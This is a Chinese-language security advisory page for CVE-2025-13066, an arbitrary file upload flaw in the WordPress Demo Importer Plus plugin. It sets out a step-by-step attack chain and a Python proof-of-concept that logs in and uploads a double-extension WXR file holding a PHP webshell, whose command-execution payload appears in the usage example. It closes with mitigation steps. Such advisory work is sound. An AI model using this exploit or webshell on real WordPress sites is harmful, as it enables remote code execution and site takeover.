IPBUF安全漏洞报告
English
CVE-2025-13066 CVSS 8.8 高危

CVE-2025-13066 WordPress Demo Importer Plus插件任意文件上传漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-13066
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Demo Importer Plus插件

相关标签

任意文件上传远程代码执行WordPress插件漏洞WXR文件验证不足双扩展名绕过身份认证攻击Demo Importer PlusCVE-2025-13066高危漏洞WordPress安全

漏洞概述

CVE-2025-13066是WordPress的Demo Importer Plus插件中存在的一个高危安全漏洞。该漏洞在所有版本直至2.0.6版本均受影响,主要源于插件对WXR文件类型的验证机制存在严重缺陷。攻击者可以利用此漏洞绕过文件类型检查,上传包含恶意代码的双扩展名文件(如shell.php.jpg或backdoor.jpg.php),这些文件虽然看似图片或正常文件格式,但实际上包含了可执行的PHP代码。一旦恶意文件成功上传到服务器,攻击者即可获得远程代码执行能力,可能完全控制受影响的WordPress网站。漏洞的利用需要攻击者具备作者级别(Author)或更高的账户权限,这降低了漏洞被利用的门槛,因为WordPress中作者角色的用户数量通常较多。该漏洞由Wordfence安全团队([email protected])发现并报告,CVSS评分达到8.8,属于高危漏洞。攻击向量为网络形式,无需用户交互,攻击者可在不知情的情况下完成入侵。对于托管大量WordPress网站的服务器而言,此漏洞可能导致严重的供应链攻击和数据泄露风险。

技术细节

漏洞的核心问题在于Demo Importer Plus插件的inc/importers目录下的文件处理逻辑未能正确验证上传文件的真实类型。插件在处理WXR(WordPress eXtended RSS)导入文件时,仅通过文件扩展名进行验证,而未对文件内容进行MIME类型或文件头校验。这导致攻击者可以构造包含双扩展名的恶意文件(如malicious.php.jpg)来绕过基本的文件类型检查。具体技术细节如下:1)插件使用file_get_contents()和相关函数读取上传文件内容;2)验证逻辑仅依赖文件扩展名白名单,未进行文件内容深度检测;3)WXR文件解析过程可被滥用,攻击者可在文件特定位置嵌入PHP代码;4)双扩展名文件在某些服务器配置下会被当作PHP文件解析。攻击者首先需要获取WordPress网站的作者账户权限,然后通过插件的前端导入功能上传精心构造的恶意WXR文件。由于验证不足,恶意文件会被保存到wp-content/uploads/目录或其他可访问位置,攻击者随后可通过直接访问该文件来执行任意PHP代码,实现远程代码执行(RCE)。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的作者级别或更高权限账户
STEP 2
步骤2
攻击者构造包含双扩展名的恶意文件(如shell.php.jpg),在WXR文件中嵌入PHP webshell代码
STEP 3
步骤3
攻击者通过Demo Importer Plus插件的文件上传接口上传恶意WXR文件
STEP 4
步骤4
由于插件仅检查文件扩展名为.jpg/.png等合法扩展,恶意PHP代码被绕过验证并保存到服务器
STEP 5
步骤5
攻击者直接访问上传的恶意文件URL(如/wp-content/uploads/shell.php.jpg),服务器将文件作为PHP解析
STEP 6
步骤6
webshell被执行,攻击者获得远程代码执行能力,可执行任意系统命令、读取敏感数据或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13066 PoC - Demo Importer Plus Arbitrary File Upload # Target: WordPress with Demo Importer Plus plugin <= 2.0.6 def exploit_cve_2025_13066(target_url, username, password, webshell_content): """ Exploit for arbitrary file upload vulnerability in Demo Importer Plus Args: target_url: Target WordPress site URL username: WordPress author+ account username password: WordPress account password webshell_content: PHP code to be uploaded """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print("[*] Attempting to login to WordPress...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Prepare malicious file with double extension # Create a file that bypasses WXR validation but contains PHP code malicious_filename = "shell.php.jpg" # WXR file structure with embedded PHP code wxr_content = f'''<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:wp="http://wordpress.org/export/1.2/"> <channel> <title>Demo</title> <link>http://example.com</link> <description>Demo Import</description> <language>en-US</language> <wp:wxr_version>1.2</wp:wxr_version> <item> <title>Malicious Import</title> <link>http://example.com/post</link> <content:encoded><![CDATA[ {webshell_content} ]]></content:encoded> </item> </channel> </rss>''' # Step 3: Upload the malicious file via Demo Importer Plus upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'demo_import_file': (malicious_filename, wxr_content.encode(), 'application/octet-stream') } data = { 'action': 'demo_importer_plus_import', 'security': 'nonce_value_here' # Would need to fetch valid nonce } print("[*] Uploading malicious file...") try: response = session.post(upload_url, data=data, files=files, timeout=30) print(f"[+] Upload response: {response.status_code}") print(f"[*] Response content: {response.text[:500]}") except Exception as e: print(f"[-] Upload failed: {str(e)}") return False return True if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_13066.py <target_url> <username> <password> <webshell>") print("Example: python cve_2025_13066.py http://target.com admin password '<?php system($_GET["cmd"]); ?>'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] shell = sys.argv[4] exploit_cve_2025_13066(target, user, pwd, shell)

影响范围

Demo Importer Plus <= 2.0.6 (所有版本)

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)限制wp-content/uploads目录的PHP执行权限,在nginx配置中添加'location ~* /wp-content/uploads/.*\.php$ { deny all; }';2)暂时禁用Demo Importer Plus插件直至完成升级;3)审查并移除所有非管理员用户的作者角色账户;4)启用Wordfence或类似安全插件的实时防护功能;5)实施严格的文件上传白名单策略,仅允许上传预定义的安全文件类型。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表